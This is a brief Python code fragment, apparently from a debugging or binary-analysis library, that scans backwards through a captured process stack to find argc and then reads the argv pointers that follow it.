# argc comes immediately before argv[0] on the stack, but
# we don't know what argc is.
#
# It is unlikely that argc is a valid stack address.
address = p_end_of_argv - self.bytes
while self.unpack(address) in stack:
address -= self.bytes
# address now points at argc
self.argc = self.unpack(address)
# we can extract all of the arguments as well
self.argv = unpack_many(stack[address + self.bytes: p_end_of_argv])